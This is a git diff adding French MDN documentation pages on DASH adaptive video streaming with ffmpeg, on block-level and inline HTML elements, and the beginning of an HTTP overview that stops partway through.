+ <li><a href="https://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage">HTML5 Cache Manifest: An Off-label Usage</a></li>
+ <li><a href="https://www.ibm.com/developerworks/web/library/wa-ffox3/">Get ready for Firefox 3.0 - A Web developer's guide to the many new features in this popular browser, especially the offline application features</a> (IBM developerWorks)</li>
+ <li><a href="/fr/docs/Application_cache_implementation_overview">Application cache implementation overview</a></li>
+ <li><a href="https://www.onlinewebcheck.com/check.php?adv=1">OnlineWebCheck.com - Check manifeste file syntax (application Windows)</a></li>
+</ul>
+</div>
diff --git a/files/fr/web/html/utiliser_dash_avec_les_vidéos_en_html/index.html b/files/fr/web/html/utiliser_dash_avec_les_vidéos_en_html/index.html
new file mode 100644
index 0000000000..6a1b7f19f1
--- /dev/null
+++ b/files/fr/web/html/utiliser_dash_avec_les_vidéos_en_html/index.html
@@ -0,0 +1,103 @@
+---
+title: Utiliser DASH avec les vidéos en HTML
+slug: Web/HTML/Utiliser_DASH_avec_les_vidéos_en_HTML
+tags:
+  - Avancé
+  - DASH
+  - Guide
+  - HTML
+translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><strong><em>Dynamic Adaptive Streaming over HTTP</em> (DASH)</strong> est un protocole de <em>streaming</em> adaptatif : il permet de changer le débit de la vidéo en fonction des performances réseau afin que la vidéo ne soit pas interrompue lors de la lecture.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Firefox 21 inclut une implémentation de DASH pour le format vidéo WebM mais celle-ci est désactivée par défaut et peut être activée via la préférence <code>media.dash.enabled</code> sous <code>about:config</code>.</p>
+
+<p>Firefox 23 a retiré la prise en charge de DASH pour le format WebM. Cette fonctionnalité sera remplacée par l'implémentation de l'<a href="http://www.w3.org/TR/media-source/">API Media Source Extensions</a> qui permettra la prise en charge de DASH via des bibliothèques JavaScript tierces (telles que dash.js). Pour plus de détails, voir le bug <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=778617">778617</a>.</p>
+
+<h2 id="Utiliser_DASH_côté_serveur">Utiliser DASH, côté serveur</h2>
+
+<p>Pour commencer, il faut convertir la vidéo WebM en manifeste DASH avec les vidéos associées aux différents débits. Pour cela, on aura besoin de :</p>
+
+<ul>
+ <li>ffpmeg - avec la prise en charge de l'audio et vidéo WebM fourni via libvpx and libvoribis en version 2.5 minimum (<a href="http://www.ffmpeg.org/">ffmpeg.org</a>).</li>
+</ul>
+
+<h3 id="1._Utiliser_un_fichier_WebM_afin_de_créer_une_piste_audio_et_plusieurs_fichiers_vidéo">1. Utiliser un fichier WebM afin de créer une piste audio et plusieurs fichiers vidéo</h3>
+
+<p>Dans les lignes d'exemple qui suivent, on utilise le fichier de départ<strong><em> in.video</em></strong>. Ce fichier peut être n'importe quel conteneur avec au moins un flux audio et un flux vidéo qui peut être décodé par ffmpeg.</p>
+
+<p>On créera la piste audio avec :</p>
+
+<pre>ffmpeg -i in.video -vn -acodec libvorbis -ab 128k -dash 1 my_audio.webm
+</pre>
+
+<p>On créera les pistes vidéos avec :</p>
+
+<pre>ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=640:360 -b:v 750k -dash 1 video_640x360_750k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm
+</pre>
+
+<p>Autrement, on peut utiliser cette commande :</p>
+
+<pre>ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 \
+-g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm \
+-an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm \
+-an -vf scale=640:360 -b:v 750k -dash 1 video_640x360_750k.webm \
+-an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm \
+-an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm</pre>
+
+<h3 id="2._Créer_le_manifeste">2. Créer le manifeste</h3>
+
+<pre>ffmpeg \
+  -f webm_dash_manifest -i video_160x90_250k.webm \
+  -f webm_dash_manifest -i video_320x180_500k.webm \
+  -f webm_dash_manifest -i video_640x360_750k.webm \
+  -f webm_dash_manifest -i video_1280x720_1500k.webm \
+  -f webm_dash_manifest -i my_audio.webm \
+  -c copy \
+  -map 0 -map 1 -map 2 -map 3 -map 4 \
+  -f webm_dash_manifest \
+  -adaptation_sets "id=0,streams=0,1,2,3 id=1,streams=4" \
+  my_video_manifest.mpd</pre>
+
+<p>Les arguments <code>-map</code> correspondent aux fichiers d'entrée dans l'ordre dans lequel ils sont fournis. Il doit y en avoir un pour chaque fichier. L'argument <code>-adaptation_sets</code> permet de les affecter à différents ensembles d'adaptation. Par exemple, cela crée un ensemble (0) qui contient les flux 0, 1, 2 et 3 (les vidéos) et un autre ensemble (1) qui contient uniquement le flux 4 (l'audio).</p>
+
+<p>On pourra alors placer le fichier de manifeste créé à côté des fichiers vidéo sur le serveur web ou sur le CDN. DASH fonctionne via HTTP donc il suffit simplement que votre serveur prenne en charge les requêtes d'intervalles d'octets (byte range requests) et qu'il puisse servir les fichiers <code>.mpd</code> avec <code>mimetype="application/dash+xml"</code>.</p>
+
+<h2 id="Utiliser_DASH_côté_client">Utiliser DASH, côté client</h2>
+
+<p>Il faut modifier la page web pour que celle-ci pointe d'abord vers le manifeste, avant le fichier vidéo en tant que tel :</p>
+
+<pre class="brush: html">&lt;video&gt;
+  &lt;source src="movie.mpd"&gt;
+  &lt;source src="movie.webm"&gt;
+  Votre navigateur ne prend pas en charge les vidéos HTML.
+&lt;/video&gt;</pre>
+
+<p>C'est tout !<br>
+ Si le navigateur utilisé prend en charge DASH/MSE, la diffusion de la vidéo sera maintenant adaptative.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://wiki.webmproject.org/adaptive-streaming/webm-dash-specification">La spécification WebM DASH du projet WebM </a></li>
+ <li><a href="http://dashif.org/">Le forum DASH Industry</a></li>
+ <li><a href="http://wiki.webmproject.org/adaptive-streaming/instructions-to-playback-adaptive-webm-using-dash">Descriptions du projet WebM pour la création de fichiers DASH avec FFMPEG</a></li>
+</ul>
diff --git a/files/fr/web/html/éléments_en_bloc/index.html b/files/fr/web/html/éléments_en_bloc/index.html
new file mode 100644
index 0000000000..c099de574f
--- /dev/null
+++ b/files/fr/web/html/éléments_en_bloc/index.html
@@ -0,0 +1,126 @@
+---
+title: Éléments de bloc
+slug: Web/HTML/Éléments_en_bloc
+tags:
+  - Débutant
+  - HTML
+  - Web
+translation_of: Web/HTML/Block-level_elements
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>Les éléments de bloc forment une catégorie d'éléments HTML (<em>HyperText Markup Language</em>) en opposition aux <a href="/fr/docs/Web/HTML/Éléments_en_ligne">éléments en ligne</a>.</p>
+
+<p>Leur caractéristique principale réside dans le fait qu'ils sont séparés par un saut de ligne avant et après l'élément (créant ainsi un « bloc » de contenu). On peut, en quelque sorte, les représenter comme des blocs empilés les uns sur les autres. Ce faisant, ils prennent la largeur de leurs conteneurs.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Un élément de bloc commence toujours sur une nouvelle ligne et prend toute la largeur disponible (autrement dit, il s'étend le plus possible vers la droite et vers la gauche).</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Ce paragraphe est un élément de bloc. Son fond a été coloré pour illustrer son conteneur.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  background-color: #8ABB55;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Contrainte">Contrainte</h2>
+
+<ul>
+ <li>Les éléments de bloc ne peuvent apparaître qu'au sein d'un élément {{HTMLElement("body")}}</li>
+</ul>
+
+<h2 id="Élément_de_bloc_ou_élément_en_ligne">Élément de bloc ou élément en ligne ?</h2>
+
+<p>Les éléments de bloc diffèrent des éléments en ligne par :</p>
+
+<dl>
+ <dt>La mise en forme</dt>
+ <dd>Par défaut, les éléments de bloc commencent sur des nouvelles lignes.</dd>
+ <dt>Le modèle de contenu</dt>
+ <dd>De façon générale, les éléments de bloc peuvent contenir des éléments en ligne et d'autres éléments de bloc. L'idée structurelle sous-jacente est que les éléments de bloc créent de plus grandes structures que les éléments en ligne.</dd>
+</dl>
+
+<p>La distinction entre bloc et ligne est utilisée dans les spécifications HTML jusqu'à la version 4.01. En HTML5, cette distinction binaire est remplacée par un ensemble plus complexe de <a href="/fr/docs/Web/HTML/Catégorie_de_contenu">catégories de contenu</a>. La catégorie des éléments en bloc correspond approximativement à la catégorie de <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a> en HTML5, celle des éléments en ligne correspond à la catégorie de <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>. Il y a également d'autres catégories (<a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_interactif">le contenu interactif</a> par exemple).</p>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>La liste qui suit contient tous les éléments HTML en bloc (cette catégorie n'est pas strictement applicable pour les éléments apparus avec HTML5).</p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{HTMLElement("address")}}</dt>
+ <dd>Information de contact.</dd>
+ <dt>{{HTMLElement("article")}}</dt>
+ <dd>Contenu d'un article.</dd>
+ <dt>{{HTMLElement("aside")}}</dt>
+ <dd>Contenu tangentiel.</dd>
+ <dt>{{HTMLElement("blockquote")}}</dt>
+ <dd>Long bloc de citation.</dd>
+ <dt>{{HTMLElement("details")}}</dt>
+ <dd>Outil permettant de révéler des informations sur la page.</dd>
+ <dt>{{HTMLElement("dialog")}}</dt>
+ <dd>Boîte de dialogue.</dd>
+ <dt>{{HTMLElement("dd")}}</dt>
+ <dd>Description d'une définition.</dd>
+ <dt>{{HTMLElement("div")}}</dt>
+ <dd>Division d'un document.</dd>
+ <dt>{{HTMLElement("dl")}}</dt>
+ <dd>Liste de définitions.</dd>
+ <dt>{{HTMLElement("dt")}}</dt>
+ <dd>Définition/description d'un terme.</dd>
+ <dt>{{HTMLElement("fieldset")}}</dt>
+ <dd>Ensemble de champs.</dd>
+ <dt>{{HTMLElement("figcaption")}}</dt>
+ <dd>Légende d'une image.</dd>
+ <dt>{{HTMLElement("figure")}}</dt>
+ <dd>Permet de grouper des média avec une légende (voir {{HTMLElement("figcaption")}}).</dd>
+ <dt>{{HTMLElement("footer")}}</dt>
+ <dd>Bas de page ou de section.</dd>
+ <dt>{{HTMLElement("form")}}</dt>
+ <dd>Formulaire.</dd>
+ <dt>{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}</dt>
+ <dd>Éléments de titre de niveau 1 à 6.</dd>
+ <dt>{{HTMLElement("header")}}</dt>
+ <dd>En-tête de page ou de section.</dd>
+ <dt>{{HTMLElement("hgroup")}}</dt>
+ <dd>Information d'en-tête de groupe.</dd>
+ <dt>{{HTMLElement("hr")}}</dt>
+ <dd>Ligne de division horizontale.</dd>
+ <dt>{{HTMLElement("li")}}</dt>
+ <dd>Élément d'une liste.</dd>
+ <dt>{{HTMLElement("main")}}</dt>
+ <dd>Contient le contenu central unique au document.</dd>
+ <dt>{{HTMLElement("nav")}}</dt>
+ <dd>Contient des liens de navigation.</dd>
+ <dt>{{HTMLElement("ol")}}</dt>
+ <dd>Liste ordonnée.</dd>
+ <dt>{{HTMLElement("p")}}</dt>
+ <dd>Paragraphe.</dd>
+ <dt>{{HTMLElement("pre")}}</dt>
+ <dd>Texte pré-formaté.</dd>
+ <dt>{{HTMLElement("section")}}</dt>
+ <dd>Section d'une page web.</dd>
+ <dt>{{HTMLElement("table")}}</dt>
+ <dd>Tableau.</dd>
+ <dt>{{HTMLElement("ul")}}</dt>
+ <dd>Liste non-ordonnée.</dd>
+</dl>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Éléments_en_ligne">Les éléments en ligne</a></li>
+ <li>{{cssxref("display")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal">Les éléments de bloc et les éléments en ligne dans le flux normal</a></li>
+</ul>
diff --git a/files/fr/web/html/éléments_en_ligne/index.html b/files/fr/web/html/éléments_en_ligne/index.html
new file mode 100644
index 0000000000..fb9207dd72
--- /dev/null
+++ b/files/fr/web/html/éléments_en_ligne/index.html
@@ -0,0 +1,169 @@
+---
+title: Éléments en-ligne
+slug: Web/HTML/Éléments_en_ligne
+tags:
+  - Débutant
+  - Elements en ligne
+  - Guide
+  - HTML
+  - Reference
+translation_of: Web/HTML/Inline_elements
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><span class="seoSummary">En HTML, les éléments en ligne (<em>inline elements</em> en anglais) sont ceux qui occupent l'espace délimités par leurs balises plutôt que d'interrompre le flux du contenu.</span> Dans cet article, nous étudierons ces éléments en ligne et également leurs différences quant <a href="/fr/docs/Web/HTML/Éléments_en_bloc">aux éléments de bloc (<em>block-level elements</em>)</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Un élément en ligne ne commence pas sur une nouvelle ligne et prend uniquement la largeur qui lui est nécessaire.</p>
+</div>
+
+<h2 id="Éléments_en_ligne_et_éléments_de_bloc_un_exemple">Éléments en ligne et éléments de bloc : un exemple</h2>
+
+<p>Un exemple vaut mieux qu'une longue explication. Voici pour commencer la feuille de style CSS que nous utiliserons :</p>
+
+<pre class="brush: css">.highlight {
+  background-color:#ee3;
+}</pre>
+
+<h3 id="Élément_en_ligne">Élément en ligne</h3>
+
+<p>Le fragment de code HTML qui suit utilise un élément en ligne avec la classe <code>highlight</code> :</p>
+
+<pre class="brush: html">&lt;p&gt;The following span is an &lt;span class="highlight"&gt;inline element&lt;/span&gt;;
+its background has been colored to display both the beginning and end of
+the inline element's influence.&lt;/p&gt;</pre>
+
+<p>Dans cet exemple, l'élément {{HTMLElement("p")}} (le paragraphe) est un élément de bloc qui contient du texte. Dans ce texte, on a un élément {{HTMLElement("span")}} qui est un élément en ligne. L'élément <code>&lt;span&gt;</code> étant un élément en ligne, le paragraphe est bien affiché sous la forme d'un flux de texte sans rupture :</p>
+
+<p>{{EmbedLiveSample("Élément_en_ligne", 600, 80)}}</p>
+
+<div class="hidden">
+<p>Contenu masqué pour la lecture : cette feuille de style CSS est également utilisée :</p>
+
+<pre class="brush: css">body {
+  margin: 0;
+  padding: 4px;
+  border: 1px solid #333;
+}
+
+.highlight {
+  background-color:#ee3;
+}</pre>
+</div>
+
+<h3 id="Élément_de_bloc">Élément de bloc</h3>
+
+<p>Transformons l'exemple précédent pour passer d'un élément <code>&lt;span&gt;</code> à un élément {{HTMLElement("div")}} qui est un élément de bloc :</p>
+
+<pre class="brush: html">&lt;p&gt;The following div is an &lt;div class="highlight"&gt;block-level element;&lt;/div&gt;
+its background has been colored to display both the beginning and end of
+the block-level element's influence.&lt;/p&gt;</pre>
+
+<div class="hidden">
+<p>Contenu masqué pour la lecture : cette feuille de style CSS est également utilisée :</p>
+
+<pre class="brush: css">body {
+  margin: 0;
+  padding: 4px;
+  border: 1px solid #333;
+}
+
+.highlight {
+  background-color:#ee3;
+}</pre>
+</div>
+
+<p>Et voici le résultat qu'on obtient :</p>
+
+<p>{{EmbedLiveSample("Élément_de_bloc", 600, 150)}}</p>
+
+<p>On voit ici que l'élément <code>&lt;div&gt;</code> modifie complètement la disposition du texte et le découpe en trois partie : une partie avant le <code>&lt;div&gt;</code>, une partie constituée avec le texte de l'élément <code>&lt;div&gt;</code> et une dernière partie ensuite.</p>
+
+<h3 id="Modifier_le_type_d'un_d'élément">Modifier le type d'un d'élément</h3>
+
+<p>Il est possible de choisir le mode d'affichage d'un élément afin de modifier son comportement par défaut grâce à la propriété CSS {{cssxref("display")}}. En passant la valeur de <code>display</code> de <code>"inline"</code> à <code>"block"</code>, on peut indiquer au navigateur d'afficher l'élément comme une boîte de bloc plutôt que comme une boîte en ligne. Attention, l'élément ne sera plus affiché de la même façon, vérifiez le résultat obtenu. De plus, ce changement n'impactera pas la catégorie et le modèle de contenu de l'élément : utiliser <code>display:block</code> sur un élément {{HTMLElement("span")}} ne permettra toujours pas de lui imbriquer un élément {{HTMLElement("div")}} à l'intérieur.</p>
+
+<h2 id="Différences_conceptuelles">Différences conceptuelles</h2>
+
+<p>Voici, en résumé, les différences conceptuelles entre les éléments en ligne et les éléments de bloc :</p>
+
+<dl>
+ <dt>Modèle de contenu</dt>
+ <dd>En général, les éléments en ligne ne peuvent contenir que des données ou d'autres éléments en ligne. Il n'est pas possible de placer des éléments de bloc à l'intérieur d'éléments en ligne.</dd>
+ <dt>Formatage</dt>
+ <dd>Par défaut, les éléments en ligne n'introduisent pas de saut de ligne dans le flux du document. En revanche, les éléments de bloc provoquent un saut de ligne (ce comportement peut être modifié grâce au CSS).</dd>
+</dl>
+
+<h2 id="Liste_des_éléments_en_ligne">Liste des éléments en ligne</h2>
+
+<p>Les éléments HTML suivants sont, par défaut, des éléments en ligne :</p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{HTMLElement("a")}}</dt>
+ <dt>{{HTMLElement("abbr")}}</dt>
+ <dt>{{HTMLElement("acronym")}}</dt>
+ <dt>{{HTMLElement("audio")}} (if has visible controls)</dt>
+ <dt>{{HTMLElement("b")}}</dt>
+ <dt>{{HTMLElement("bdi")}}</dt>
+ <dt>{{HTMLElement("bdo")}}</dt>
+ <dt>{{HTMLElement("big")}}</dt>
+ <dt>{{HTMLElement("br")}}</dt>
+ <dt>{{HTMLElement("button")}}</dt>
+ <dt>{{HTMLElement("canvas")}}</dt>
+ <dt>{{HTMLElement("cite")}}</dt>
+ <dt>{{HTMLElement("code")}}</dt>
+ <dt>{{HTMLElement("data")}}</dt>
+ <dt>{{HTMLElement("datalist")}}</dt>
+ <dt>{{HTMLElement("del")}}</dt>
+ <dt>{{HTMLElement("dfn")}}</dt>
+ <dt>{{HTMLElement("em")}}</dt>
+ <dt>{{HTMLElement("embed")}}</dt>
+ <dt>{{HTMLElement("i")}}</dt>
+ <dt>{{HTMLElement("iframe")}}</dt>
+ <dt>{{HTMLElement("img")}}</dt>
+ <dt>{{HTMLElement("input")}}</dt>
+ <dt>{{HTMLElement("ins")}}</dt>
+ <dt>{{HTMLElement("kbd")}}</dt>
+ <dt>{{HTMLElement("label")}}</dt>
+ <dt>{{HTMLElement("map")}}</dt>
+ <dt>{{HTMLElement("mark")}}</dt>
+ <dt>{{HTMLElement("meter")}}</dt>
+ <dt>{{HTMLElement("noscript")}}</dt>
+ <dt>{{HTMLElement("object")}}</dt>
+ <dt>{{HTMLElement("output")}}</dt>
+ <dt>{{HTMLElement("picture")}}</dt>
+ <dt>{{HTMLElement("progress")}}</dt>
+ <dt>{{HTMLElement("q")}}</dt>
+ <dt>{{HTMLElement("ruby")}}</dt>
+ <dt>{{HTMLElement("s")}}</dt>
+ <dt>{{HTMLElement("samp")}}</dt>
+ <dt>{{HTMLElement("script")}}</dt>
+ <dt>{{HTMLElement("select")}}</dt>
+ <dt>{{HTMLElement("slot")}}</dt>
+ <dt>{{HTMLElement("small")}}</dt>
+ <dt>{{HTMLElement("span")}}</dt>
+ <dt>{{HTMLElement("strong")}}</dt>
+ <dt>{{HTMLElement("sub")}}</dt>
+ <dt>{{HTMLElement("sup")}}</dt>
+ <dt>{{HTMLElement("svg")}}</dt>
+ <dt>{{HTMLElement("template")}}</dt>
+ <dt>{{HTMLElement("textarea")}}</dt>
+ <dt>{{HTMLElement("time")}}</dt>
+ <dt>{{HTMLElement("u")}}</dt>
+ <dt>{{HTMLElement("tt")}}</dt>
+ <dt>{{HTMLElement("var")}}</dt>
+ <dt>{{HTMLElement("video")}}</dt>
+ <dt>{{HTMLElement("wbr")}}</dt>
+</dl>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Éléments_en_bloc">Les éléments de bloc</a></li>
+ <li><a href="/fr/docs/Web/HTML/Element">Référence des éléments HTML</a></li>
+ <li>{{cssxref("display")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Cat%C3%A9gories_de_contenu">Les catégories de contenu</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal">Les éléments de bloc et les éléments en ligne dans le flux normal</a></li>
+</ul>
diff --git a/files/fr/web/http/aperçu/index.html b/files/fr/web/http/aperçu/index.html
new file mode 100644
index 0000000000..33d2758ec2
--- /dev/null
+++ b/files/fr/web/http/aperçu/index.html
@@ -0,0 +1,178 @@
+---
+title: Un aperçu de HTTP
+slug: Web/HTTP/Aperçu
+tags:
+  - Aperçu
+  - HTML
+  - HTTP
+  - WebMechanics
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>HTTP</strong> est un {{glossary("protocole")}} qui permet de récupérer des ressources telles que des documents HTML. Il est à la base de tout échange de données sur le Web. C'est un protocole de type client-serveur, ce qui signifie que les requêtes sont initiées par le destinataire (qui est généralement un navigateur web). Un document complet est construit à partir de différents sous-documents qui sont récupérés, par exemple du texte, des descriptions de mise en page, des images, des vidéos, des scripts et bien plus.</p>
+
+<p><img alt="Un document web se compose de différentes ressources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p>Les clients et serveurs communiquent par l'échange de messages individuels (en opposition à un flux de données). Les messages envoyés par le client, généralement un navigateur web, sont appelés des <em>requêtes</em> et les messages renvoyés par le serveur sont appelés <em>réponses</em>.</p>
+
+<p><img alt="HTTP est un protocole de la couche d'application fonctionnant au-dessus de TCP (pour la couche de transport) et IP (pour la couche réseau). HTTP est en dessous de la couche de présentation." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;"> Conçu au début des années 1990, HTTP est un protocole extensible qui a évolué au cours du temps. C'est un protocole de <a href="https://fr.wikipedia.org/wiki/Couche_application">la couche application</a> dont les données transitent via {{glossary("TCP")}} ou à travers une connexion TCP chiffrée avec {{glossary("TLS")}}. En théorie, tout protocole de transport fiable pourrait être utilisé. En raison de son extensibilité, il n'est pas seulement utilisé pour récupérer des documents, mais aussi pour des images, des vidéos ou bien pour renvoyer des contenus vers des serveurs, comme des résultats de formulaires HTML. HTTP peut aussi être utilisé pour récupérer des parties de documents pour mettre à jour à la demande des pages web.</p>
+
+<h2 id="Composants_des_systèmes_basés_sur_HTTP">Composants des systèmes basés sur HTTP</h2>
+
+<p>HTTP est un protocole client-serveur : les requêtes sont envoyées par une entité : l'agent utilisateur (ou le proxy qui agit au nom de celui-ci). La majorité du temps, l'agent utilisateur est un navigateur web, mais cela peut-être n'importe quoi, un robot qui analyse le Web pour remplir et maintenir l'index d'un moteur de recherche est un exemple d'agent utilisateur.</p>
+
+<p>Chaque requête individuelle est envoyée au serveur, qui la traite et fournit une <em>réponse</em>. Entre cette requête et la réponse se trouve de nombreuses entités qu'on désignera de façon générique sous le terme {{glossary("Proxy", "proxies")}}. Celles-ci exécutent différentes opérations et agissent comme passerelles ou comme {{glossary("Cache", "caches")}} par exemple.</p>
+
+<p><img alt="chaîne client serveur" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p>
+
+<p>En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP.</p>
+
+<h3 id="Le_client_lagent_utilisateur">Le client : l'agent  utilisateur</h3>
+
+<p>L'<em>agent utilisateur</em> correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications.</p>
+
+<p>Le navigateur est <strong>toujours</strong> celui qui initie la requête. Il ne s'agit jamais du serveur (bien que certains mécanismes aient été ajoutés au cours des années afin de simuler les messages initiés par un serveur).</p>
+
+<p>Pour afficher une page web, le navigateur envoie une requête initiale pour récupérer le document HTML depuis la page. Ensuite, il analyse le fichier et récupère les requêtes additionnelles qui correspondent aux scripts, aux informations de mise en page (CSS) et les sous-ressources contenues dans la page (généralement des images et des vidéos). Le navigateur web assemble alors ces ressources pour présenter un document complet à l'utilisateur : c'est la page web. Les scripts exécutés par le navigateur peuvent permettre de récupérer plus de ressources par la suite afin de mettre à jour la page web.</p>
+
+<p>Une page web est un document hypertexte. Cela signifie que certaines parties sont des liens qui peuvent être activés (généralement avec un clic de souris) afin de récupérer une nouvelle page web, permettant à l'utilisateur de diriger son agent utilisateur et de naviguer sur le Web. Le navigateur traduit ces instructions en requêtes HTTP et interprète les réponses HTTP pour présenter une réponse claire à l'utilisateur.</p>
+
+<h3 id="Le_serveur_web">Le serveur web</h3>
+
+<p>De l'autre côté du canal de communication, on trouve le serveur qui <em>sert</em> le document demandé par le client. Bien qu'on présente virtuellement le serveur comme un seul ordinateur, en réalité, il peut s'agir d'un ensemble de serveurs se répartissant la charge (<em>load balancing</em>) ou d'une architecture logicielle complexe qui interroge d'autres serveurs (par exemple un cache, un serveur de base de données, serveur d'e-commerce…), qui génèrent totalement ou partiellement le document à la demande.</p>
+
+<p>D'une part, un serveur n'est pas nécessairement une machine unique et d'autre part, plusieurs serveurs peuvent être hébergés sur une même machine. Avec HTTP/1.1 et l'en-tête {{HTTPHeader("Host")}}, ils peuvent également partager la même adresse IP.</p>
+
+<h3 id="Les_proxys">Les <em>proxys</em></h3>
+
+<p>Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations  au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées <strong>proxy</strong>. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches :</p>
+
+<ul>
+ <li>mettre en cache (le cache peut alors être public ou privé, comme le cache du navigateur)</li>
+ <li>filtrer (comme un antivirus, contrôle parental…)</li>
+ <li>répartir la charge (pour permettre à de multiples serveurs de servir différentes requêtes)</li>
+ <li>authentifier (pour contrôler l'accès à différentes ressources)</li>
+ <li>effectuer la journalisation (permettant le stockage des informations d'historiques)</li>
+</ul>
+
+<h2 id="Principaux_aspects_dHTTP">Principaux aspects d'HTTP</h2>
+
+<h3 id="HTTP_est_simple">HTTP est simple</h3>
+
+<p>Même s'il est devenu plus complexe avec l'arrivée d'HTTP/2 et l'encapsulation des messages HTTP dans des trames, HTTP est généralement conçu pour être simple et lisible par un humain. Les messages HTTP peuvent être lus et compris par des humains, ce qui facilite les tests des développeurs et réduit la complexité pour les débutants.</p>
+
+<h3 id="HTTP_est_extensible">HTTP est extensible</h3>
+
+<p>À partir de HTTP/1.0, les <a href="/fr/docs/HTTP/Headers">en-têtes HTTP</a> permettent d'étendre facilement le protocole et de mener des expérimentations avec celui-ci. De nouvelles fonctionnalités peuvent même être introduites par un simple accord entre le client et le serveur à propos de la sémantique des nouveaux en-têtes.</p>
+
+<h3 id="HTTP_est_sans_état_mais_pas_sans_session">HTTP est sans état, mais pas sans session</h3>
+
+<p>HTTP est sans état : il n'y a pas de lien entre deux requêtes qui sont effectuées successivement sur la même connexion. Cela devient très rapidement problématique lorsque les utilisateurs veulent interagir avec une page de façon cohérente, par exemple avec un panier d'achat sur un site de commerce en ligne. Bien que le cœur d'HTTP soit sans état, les cookies HTTP permettent l'utilisation de sessions avec des états. En utilisant l'extensibilité par les en-têtes, des cookies HTTP sont ajoutés aux flux et permettent la création d'une session sur chaque requête HTTP pour partager un même contexte, ou un même état.</p>
+
+<h3 id="HTTP_et_les_connexions">HTTP et les connexions</h3>
+
